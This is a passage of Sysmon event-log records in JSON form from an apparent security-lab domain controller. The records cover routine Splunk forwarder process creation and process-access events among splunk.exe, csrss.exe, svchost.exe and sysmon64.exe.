Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.286","ProcessGuid":"{90617006-407C-5F2D-0000-001068290500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","FileVersion":"8.0.2","Description":"splunkd service","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunkd.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" generate-ssl","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589","ParentProcessGuid":"{90617006-407C-5F2D-0000-001033280500}","ParentProcessId":"4352","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3400,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.276\r\nSourceProcessGUID: {90617006-407C-5F2D-0000-001033280500}\r\nSourceProcessId: 4352\r\nSourceThreadId: 2516\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nTargetProcessGUID: {90617006-4067-5F2D-0000-001092E00400}\r\nTargetProcessId: 4364\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4022c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+403f8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+404c7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+40fee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1803d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.276","SourceProcessGUID":"{90617006-407C-5F2D-0000-001033280500}","SourceProcessId":"4352","SourceThreadId":"2516","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","TargetProcessGUID":"{90617006-4067-5F2D-0000-001092E00400}","TargetProcessId":"4364","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4022c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+403f8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+404c7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+40fee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1803d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3401,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.276\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4067-5F2D-0000-001092E00400}\r\nTargetProcessId: 4364\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.276","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4067-5F2D-0000-001092E00400}","TargetProcessId":"4364","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3402,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.276\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.276","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3403,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.276\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.276","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3404,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.276\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.276","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3405,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.276\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.276","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3406,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.276\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.276","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3407,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.276\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.276","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3408,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT 